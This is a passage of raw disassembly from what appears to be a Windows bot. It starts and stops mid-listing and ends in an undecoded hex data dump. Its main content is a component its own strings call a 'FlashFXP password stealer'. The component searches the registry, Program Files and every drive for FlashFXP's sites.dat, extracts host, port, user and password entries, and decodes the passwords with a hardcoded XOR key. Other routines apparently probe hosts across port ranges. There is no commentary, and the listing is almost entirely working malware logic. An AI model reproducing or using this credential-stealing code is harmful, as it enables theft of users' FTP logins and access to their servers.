ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D080 push 0 push [ebp+var_C] push offset loc_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; --------------------------------------------------------------------------- loc_4143B0: ; DATA XREF: sub_414600+1D6o push ebp mov ebp, esp sub esp, 2DCh push 2B3h push dword ptr [ebp+8] lea eax, [ebp-2C0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx mov ax, [ebp-1BCh] mov [ebp-0Ch], ax push dword ptr [ebp-1B4h] call sub_404D10 pop ecx mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_41440C push dword ptr [ebp-2C0h] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: .text:004143F7j push dword ptr [ebp-1B4h] movzx eax, word ptr [ebp-1BAh] push eax movzx eax, word ptr [ebp-1BCh] push eax lea eax, [ebp-2BCh] push eax mov eax, [ebp-2C0h] push dword ptr [eax] push offset dword_41D0F0 lea eax, [ebp-1B0h] push eax call sub_40D53F add esp, 1Ch movsx eax, byte ptr [ebp-18h] test eax, eax jnz short loc_414458 push 3E8h call ds:dword_41709C ; Sleep loc_414458: ; CODE XREF: .text:0041444Bj call sub_416B64 ; clock mov [ebp-2C4h], eax and dword ptr [ebp-4], 0 loc_414467: ; CODE XREF: .text:004144EAj ; .text:004145A0j mov eax, [ebp-2C0h] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, word ptr [ebp-0Ch] movzx ecx, word ptr [ebp-1BAh] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: .text:00414471j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: .text:00414480j push 0Ah lea eax, [ebp-2CCh] push eax movzx eax, word ptr [ebp-0Ch] push eax call sub_416F7A ; _itoa add esp, 0Ch push dword ptr [ebp-8] push 0 lea eax, [ebp-2CCh] push eax lea eax, [ebp-2BCh] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp-2D0h], eax mov ax, [ebp-0Ch] add ax, 1 mov [ebp-0Ch], ax cmp dword ptr [ebp-2D0h], 0 jz short loc_4144EF movzx eax, word ptr [ebp-0Ch] movzx ecx, word ptr [ebp-1BAh] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: .text:004144D9j ; .text:004144E8j push dword ptr [ebp-1B8h] call ds:dword_41709C ; Sleep push dword ptr [ebp-8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: .text:00414592j mov eax, [ebp-2C0h] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: .text:00414516j push dword ptr [ebp-8] call sub_404F24 pop ecx mov [ebp-2D8h], eax cmp dword ptr [ebp-2D8h], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: .text:00414530j lea eax, [ebp-2CCh] push eax push dword ptr [ebp-2D8h] call sub_4045B2 pop ecx pop ecx mov eax, [ebp-4] inc eax mov [ebp-4], eax mov al, [ebp-18h] mov [ebp-2D4h], al and byte ptr [ebp-18h], 0 lea eax, [ebp-2CCh] push eax lea eax, [ebp-2BCh] push eax push offset dword_41D0DC lea eax, [ebp-1B0h] push eax call sub_40D53F add esp, 10h mov al, [ebp-2D4h] mov [ebp-18h], al push 3E8h call ds:dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: .text:00414506j ; .text:00414518j ... push dword ptr [ebp-8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: .text:loc_414482j push dword ptr [ebp-4] call sub_416B64 ; clock sub eax, [ebp-2C4h] mov [ebp-2DCh], eax fild dword ptr [ebp-2DCh] fdiv ds:flt_417270 push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-2BCh] push eax push offset unk_41D0A0 lea eax, [ebp-1B0h] push eax call sub_40D53F add esp, 18h push dword ptr [ebp-8] call sub_404FD0 pop ecx push dword ptr [ebp-2C0h] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: .text:00414407j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D138 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset loc_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: .text:00414D91p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: .text:00414A4Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call ds:dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call ds:dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call ds:dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call ds:dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; --------------------------------------------------------------------------- loc_414A1E: ; DATA XREF: sub_414EB0+35o push ebp mov ebp, esp sub esp, 5E0h push 1A7h push dword ptr [ebp+8] lea eax, [ebp-32Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-180h] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push dword ptr [ebp-32Ch] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: .text:00414A56j mov eax, [ebp-32Ch] push dword ptr [eax] push offset unk_41D308 lea eax, [ebp-328h] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-184h], 0 and dword ptr [ebp-334h], 0 mov al, [ebp-190h] mov [ebp-330h], al and byte ptr [ebp-190h], 0 push offset aRb ; "rb" lea eax, [ebp-180h] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-3C4h], eax cmp dword ptr [ebp-3C4h], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: .text:00414AC8j push 2 push 0 push dword ptr [ebp-3C4h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-3C4h] call sub_416B76 ; ftell pop ecx mov [ebp-3C0h], eax cmp dword ptr [ebp-3C0h], 100000h jnb short loc_414B0D mov eax, [ebp-3C0h] mov [ebp-5E0h], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: .text:00414AFDj mov dword ptr [ebp-5E0h], 100000h loc_414B17: ; CODE XREF: .text:00414B0Bj mov eax, [ebp-5E0h] mov [ebp-3C0h], eax push 0 push 0 push dword ptr [ebp-3C4h] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp-3C0h] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp-3BCh], eax cmp dword ptr [ebp-3BCh], 0 jnz short loc_414B63 push dword ptr [ebp-3C4h] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: .text:00414B50j push dword ptr [ebp-3C4h] push dword ptr [ebp-3C0h] push 1 push dword ptr [ebp-3BCh] call sub_416B90 ; fread add esp, 10h push dword ptr [ebp-3C4h] call sub_416B82 ; fclose pop ecx mov eax, [ebp-3BCh] add eax, [ebp-3C0h] and byte ptr [eax], 0 mov eax, [ebp-3BCh] mov [ebp-3B8h], eax loc_414BA6: ; CODE XREF: .text:00414E46j push offset asc_41D300 ; "\r\n\r\n[" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5DCh], eax mov eax, [ebp-3B8h] mov [ebp-5D0h], eax push offset aIp ; "\r\nIP=" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5C8h], eax push offset aPort ; "\r\nPort=" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5D8h], eax push offset aUser ; "\r\nUser=" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5CCh], eax push offset aPass ; "\r\nPass=" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5D4h], eax cmp dword ptr [ebp-5C8h], 0 jz loc_414E13 cmp dword ptr [ebp-5DCh], 0 jz short loc_414C52 mov eax, [ebp-5C8h] cmp eax, [ebp-5DCh] jnb loc_414E13 loc_414C52: ; CODE XREF: .text:00414C3Ej cmp dword ptr [ebp-5D8h], 0 jz loc_414E13 cmp dword ptr [ebp-5DCh], 0 jz short loc_414C7A mov eax, [ebp-5D8h] cmp eax, [ebp-5DCh] jnb loc_414E13 loc_414C7A: ; CODE XREF: .text:00414C66j cmp dword ptr [ebp-5CCh], 0 jz loc_414E13 cmp dword ptr [ebp-5DCh], 0 jz short loc_414CA2 mov eax, [ebp-5CCh] cmp eax, [ebp-5DCh] jnb loc_414E13 loc_414CA2: ; CODE XREF: .text:00414C8Ej cmp dword ptr [ebp-5D4h], 0 jz loc_414E13 cmp dword ptr [ebp-5DCh], 0 jz short loc_414CCA mov eax, [ebp-5D4h] cmp eax, [ebp-5DCh] jnb loc_414E13 loc_414CCA: ; CODE XREF: .text:00414CB6j and byte ptr [ebp-4C4h], 0 mov al, [ebp-4C4h] mov [ebp-3B4h], al mov al, [ebp-3B4h] mov [ebp-5C4h], al mov al, [ebp-5C4h] mov [ebp-444h], al mov al, [ebp-444h] mov [ebp-544h], al lea eax, [ebp-544h] push eax push offset asc_41D2D4 ; "[%[^]]]\r\n" push dword ptr [ebp-5D0h] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-444h] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push dword ptr [ebp-5C8h] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-5C4h] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push dword ptr [ebp-5D8h] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-3B4h] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push dword ptr [ebp-5CCh] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-4C4h] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push dword ptr [ebp-5D4h] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-4C4h] push eax lea eax, [ebp-4C4h] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: .text:00414D9Aj mov eax, [ebp-334h] inc eax mov [ebp-334h], eax push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp-544h] push eax lea eax, [ebp-5C4h] push eax lea eax, [ebp-444h] push eax lea eax, [ebp-4C4h] push eax lea eax, [ebp-3B4h] push eax push dword ptr [ebp-334h] push offset dword_41D268 lea eax, [ebp-328h] push eax call sub_40D53F add esp, 20h mov eax, [ebp-32Ch] cmp dword ptr [eax+4], 0 jz short loc_414E13 push dword ptr [ebp-3BCh] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: .text:00414C31j ; .text:00414C4Cj ... mov eax, [ebp-184h] inc eax mov [ebp-184h], eax mov eax, [ebp-5DCh] mov [ebp-3B8h], eax cmp dword ptr [ebp-3B8h], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: .text:00414E33j mov eax, [ebp-3B8h] add eax, 4 mov [ebp-3B8h], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: .text:00414D9Cj ; .text:00414E35j push dword ptr [ebp-3BCh] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: .text:loc_414EA6j mov al, [ebp-330h] mov [ebp-190h], al push 3E8h call ds:dword_41709C ; Sleep push dword ptr [ebp-184h] push dword ptr [ebp-334h] mov eax, [ebp-32Ch] push dword ptr [eax] push offset unk_41D22C lea eax, [ebp-328h] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: .text:loc_414EA8j ; .text:loc_414EAAj push dword ptr [ebp-32Ch] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: .text:00414E0Ej jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: .text:00414B5Ej jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: .text:00414ACAj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: .text:00414A66j ; .text:00414EA4j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset loc_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; --------------------------------------------------------------------------- aOa db '¸ÝoA',0 ; DATA XREF: sub_415AF0+40o db 0E8h, 12h, 1Fh dd 0EC810000h, 0FFCh, 0A7685756h, 0FF000001h, 858D0875h dd 0FFFFF410h, 1C38E850h, 0C4830000h, 875FF0Ch, 1C27E8h dd 0A5835900h, 0FFFFF600h, 0FC658300h, 0BD8300h, 0FFFFF6h dd 858B1274h, 0FFFFF600h, 0F6008D8Bh, 98BFFFFh, 851FF50h dd 0F600A583h, 6A00FFFFh, 6A006A00h, 858D00h, 50FFFFF6h dd 0DE8015FFh, 85890041h, 0FFFFF20Ch, 0F20CBD83h, 7D00FFFFh dd 10B5FF3Dh, 0E8FFFFF4h, 0FFFF47E3h, 30A58359h, 0FFFFF0h dd 0FFFC4D83h, 0F600BD83h, 7400FFFFh, 858B12h, 8BFFFFF6h dd 0FFF6008Dh, 50098BFFh, 8B0851FFh, 0FFF03085h, 0B2EE9FFh dd 65830000h, 45C600F0h, 7D8301FCh, 0C7400F0h, 8BF0458Bh dd 98BF04Dh, 851FF50h, 0F06583h, 0F600BD83h, 7500FFFFh dd 4003680Ah, 5DE88000h, 8B00001Eh, 0FFF60085h, 208589FFh dd 8DFFFFF0h, 6A50F045h, 8B006A00h, 0FFF02085h, 0FF008BFFh dd 0FFF020B5h, 3850FFFFh, 0F0248589h, 0BD83FFFFh, 0FFFFF024h dd 68167D00h, 41D598h, 0F020B5FFh, 0B5FFFFFFh, 0FFFFF024h dd 1E21E8h, 24858B00h, 89FFFFF0h, 0FFF20C85h, 0CBD83FFh dd 0FFFFF2h, 0B5FF537Dh, 0FFFFF410h, 0FF4716E8h, 0A58359FFh dd 0FFFFF02Ch, 0FC658000h, 0F07D8300h, 8B0C7400h, 4D8BF045h dd 50098BF0h, 830851FFh, 83FFFC4Dh, 0FFF600BDh, 127400FFh dd 0F600858Bh, 8D8BFFFFh, 0FFFFF600h, 0FF50098Bh, 858B0851h dd 0FFFFF02Ch, 0A4BE9h, 10858B00h, 0FFFFFFF4h, 0D5646830h dd 858D0041h, 0FFFFF414h, 8491E850h, 0C483FFFFh, 0ECA5830Ch dd 0FFFFFDh, 0F5AC858Ah, 8588FFFFh, 0FFFFF5ECh, 0F5ACA580h dd 8300FFFFh, 7500F07Dh, 4003680Ah, 65E88000h, 6A00001Dh dd 0F0858D00h, 50FFFFF5h, 458B016Ah, 8589F0h, 8BFFFFF0h dd 0FFF00085h, 0FF008BFFh, 0FFF000B5h, 0C50FFFFh, 850FC085h dd 951h, 0F410858Bh, 7883FFFFh, 5740004h, 940E9h, 10EC8300h dd 0F5F0B58Dh, 0FC8BFFFFh, 0A5A5A5A5h, 41D56068h, 0B8858D00h dd 50FFFFF5h, 71E015FFh, 0C4830041h, 8A58318h, 0FFFFF2h dd 2FC45C6h, 0F208BD83h, 7400FFFFh, 8858B12h, 8BFFFFF2h dd 0FFF2088Dh, 50098BFFh, 830851FFh, 0FFF208A5h, 0BD8300FFh dd 0FFFFF600h, 680A7500h, 80004003h, 1CC3E8h, 858B00h dd 89FFFFF6h, 0FFF01885h, 8858DFFh, 